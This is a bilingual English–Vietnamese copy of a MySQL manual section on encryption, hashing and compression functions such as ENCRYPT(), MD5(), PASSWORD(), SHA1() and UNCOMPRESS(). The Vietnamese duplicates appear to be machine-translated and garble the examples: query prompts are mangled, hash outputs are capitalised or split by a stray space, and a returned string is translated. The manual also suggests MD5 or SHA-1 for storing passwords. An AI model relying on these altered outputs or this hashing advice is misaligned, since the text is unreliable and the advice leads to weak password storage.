    One benefit of having a set of default keys is that it gives applications a way to check for the existence of encrypted column values, without giving the end user the right to decrypt those values. Một lợi ích của việc có một bộ các phím mặc định là nó cho phép các ứng dụng một cách để kiểm tra sự tồn tại của các giá trị cột mã hóa, mà không cho người dùng cuối quyền để giải mã các giá trị.

     mysql> SELECT customer_address FROM customer_table > Mysql SELECT customer_address FROM customer_table
    > WHERE crypted_credit_card = DES_ENCRYPT('credit_card_number'); > WHERE crypted_credit_card = DES_ENCRYPT('credit_card_number');
  • ENCRYPT( str [, salt ])

    Encrypts str using the Unix crypt() system call and returns a binary string. Mã hóa str bằng cách sử dụng Unix crypt() hệ thống gọi và trả về một chuỗi nhị phân. The salt argument should be a string with at least two characters. Các salt đối số phải là một chuỗi với ít nhất hai nhân vật. If no salt argument is given, a random value is used. Nếu không có salt đối số được đưa ra, một giá trị ngẫu nhiên được sử dụng.

     mysql> SELECT ENCRYPT('hello'); mysql> SELECT ENCRYPT('hello');
    -> 'VxuFAJXVARROc' -> 'VxuFAJXVARROc'

    ENCRYPT() ignores all but the first eight characters of str , at least on some systems. ENCRYPT() sẽ bỏ qua tất cả, nhưng các ký tự đầu tiên tám của str , ít nhất là trên một số hệ thống. This behavior is determined by the implementation of the underlying crypt() system call. Hành vi này được xác định bởi việc thực hiện cơ bản crypt() hệ thống gọi.

    The use of ENCRYPT() with multi-byte character sets other than utf8 is not recommended because the system call expects a string terminated by a zero byte. Việc sử dụng ENCRYPT() với nhân vật đa-byte bộ khác hơn là utf8 không được khuyến khích bởi vì hệ thống sẽ gọi một chuỗi kết thúc bởi một byte số không.

    If crypt() is not available on your system (as is the case with Windows), ENCRYPT() always returns NULL . Nếu crypt() là không có sẵn trên hệ thống của bạn (như là trường hợp với Windows), ENCRYPT() luôn trả về NULL .

  • MD5( str )

    Calculates an MD5 128-bit checksum for the string. Tính toán MD5 checksum 128-bit cho chuỗi. The value is returned as a binary string of 32 hex digits, or NULL if the argument was NULL . Giá trị được trả về như là một chuỗi nhị phân của 32 chữ số hex, hoặc NULL nếu đối số là NULL . The return value can, for example, be used as a hash key. Các giá trị trả về có thể, ví dụ, được sử dụng như một chìa khóa băm.

     mysql> SELECT MD5('testing'); mysql> SELECT MD5('testing');
    -> 'ae2b1fca515949e5d54fb22b8ed95575' -> 'Ae2b1fca515949e5d54fb22b8ed95575'

    This is the “ RSA Data Security, Inc. MD5 Message-Digest Algorithm. Đây là "RSA Data Security, Inc MD5 Message-Digest Algorithm".

    If you want to convert the value to uppercase, see the description of binary string conversion given in the entry for the BINARY operator in Section 11.9, “Cast Functions and Operators” . Nếu bạn muốn chuyển đổi giá trị thành chữ hoa, xem mô tả về chuyển đổi chuỗi nhị phân được đưa ra trong mục nhập cho BINARY điều hành trong mục 11,9, "Diễn viên Chức năng và sử dụng" .

    See the note regarding the MD5 algorithm at the beginning this section. Xem các lưu ý về thuật toán MD5 ở phần này bắt đầu.

  • OLD_PASSWORD( str )

    OLD_PASSWORD() was added to MySQL when the implementation of PASSWORD() was changed to improve security. OLD_PASSWORD() returns the value of the old (pre-4.1) implementation of PASSWORD() as a binary string, and is intended to permit you to reset passwords for any pre-4.1 clients that need to connect to your version 5.1 MySQL server without locking them out. OLD_PASSWORD() đã được MySQL khi thực hiện các PASSWORD() đã được thay đổi để cải thiện an ninh. OLD_PASSWORD() trả về giá trị của (cũ trước 4,1) thực hiện PASSWORD() như là một chuỗi nhị phân, và được thiết kế để cho phép bạn để thiết lập lại mật khẩu cho bất kỳ tiền 4,1 khách hàng có nhu cầu để kết nối với phiên bản của bạn 5,1 MySQL server mà không khóa chúng ra. See Section 5.3.2.3, “Password Hashing in MySQL” . Xem Phần 5.3.2.3, "Mật khẩu băm trong" MySQL .

  • PASSWORD( str )

    Calculates and returns a password string from the plaintext password str and returns a binary string, or NULL if the argument was NULL . Tính toán và trả về một chuỗi mật khẩu từ mật khẩu chữ thô str và trả về một chuỗi nhị phân, hoặc NULL nếu đối số là NULL . This is the function that is used for encrypting MySQL passwords for storage in the Password column of the user grant table. Đây là chức năng được sử dụng để mã hóa mật khẩu MySQL cho việc lưu trữ trong các Password cột của user bảng cấp.

     mysql> SELECT PASSWORD('badpwd'); mysql> SELECT PASSWORD('badpwd');
    -> '*AAB3E285149C0135D51A520E1940DD3263DC008C' -> '* AAB3E285149C0135D51A520E1940DD3263DC008C'

    PASSWORD() encryption is one-way (not reversible). PASSWORD() là mã hóa một chiều (không thuận nghịch).

    PASSWORD() does not perform password encryption in the same way that Unix passwords are encrypted. PASSWORD() không thực hiện mã hóa mật khẩu trong cùng một cách mà các mật khẩu được mã hóa Unix. See ENCRYPT() . Xem ENCRYPT() .

    Note Ghi

    The PASSWORD() function is used by the authentication system in MySQL Server; you should not use it in your own applications. Các PASSWORD() chức năng được sử dụng bởi hệ thống xác thực trong MySQL Server, bạn không nên sử dụng nó trong các ứng dụng của riêng bạn. For that purpose, consider MD5() or SHA1() instead. Cho mục đích đó, hãy xem xét MD5() hoặc SHA1() để thay thế. Also see RFC 2195, section 2 (Challenge-Response Authentication Mechanism (CRAM)) , for more information about handling passwords and authentication securely in your applications. Xem thêm RFC 2195, tiết đoạn 2 (Challenge-Response Cơ chế xác thực (Cram)) , cho biết thêm thông tin về xử lý mật khẩu và chứng thực an toàn trong các ứng dụng của bạn.

  • SHA1( str ) , SHA( str ) SHA1( str ) , SHA( str )

    Calculates an SHA-1 160-bit checksum for the string, as described in RFC 3174 (Secure Hash Algorithm). Tính toán SHA-1 160-bit checksum cho chuỗi, như mô tả trong RFC 3.174 (Secure Hash Algorithm). The value is returned as a binary string of 40 hex digits, or NULL if the argument was NULL . Giá trị được trả về như là một chuỗi nhị phân của 40 chữ số hex, hoặc NULL nếu đối số là NULL . One of the possible uses for this function is as a hash key. Một trong những sử dụng chức năng này có thể cho là như là một chìa khóa hash. You can also use it as a cryptographic function for storing passwords. SHA() is synonymous with SHA1() . Bạn cũng có thể sử dụng nó như một mật mã cho chức năng lưu trữ mật khẩu. SHA() là đồng nghĩa với SHA1() .

     mysql> SELECT SHA1('abc'); > Mysql SELECT SHA1('abc');
    -> 'a9993e364706816aba3e25717850c26c9cd0d89d' -> 'A9993e364706816aba3e25717850c26c9cd0d89d'

    SHA1() can be considered a cryptographically more secure equivalent of MD5() . SHA1() có thể được coi là an toàn hơn mã hóa tương đương với MD5() . However, see the note regarding the MD5 and SHA-1 algorithms at the beginning this section. Tuy nhiên, xem các lưu ý về MD5 và SHA-1 thuật toán ở phần này bắt đầu.

  • UNCOMPRESS( string_to_uncompress )

    Uncompresses a string compressed by the COMPRESS() function. Uncompresses một chuỗi nén của COMPRESS() chức năng. If the argument is not a compressed value, the result is NULL . Nếu các đối số không phải là một giá trị nén, kết quả là NULL . This function requires MySQL to have been compiled with a compression library such as zlib . Chức năng này đòi hỏi MySQL đã được biên dịch với một thư viện nén như zlib . Otherwise, the return value is always NULL . Nếu không, giá trị trả lại luôn luôn là NULL .

     mysql> SELECT UNCOMPRESS(COMPRESS('any string')); mysql> SELECT UNCOMPRESS(COMPRESS('any string'));
    -> 'any string' -> 'Chuỗi bất kỳ'
    mysql> SELECT UNCOMPRESS('any string'); mysql> SELECT UNCOMPRESS('any string');
    -> NULL -> NULL
  • UNCOMPRESSED_LENGTH( compressed_string )

    Returns the length that the compressed string had before being compressed. Trả về độ dài chuỗi rằng đã có trước khi được nén nén.

     mysql> SELECT UNCOMPRESSED_LENGTH(COMPRESS(REPEAT('a',30))); mysql> SELECT UNCOMPRESSED_LENGTH(COMPRESS(REPEAT('a',30)));
    -> 30 -> 30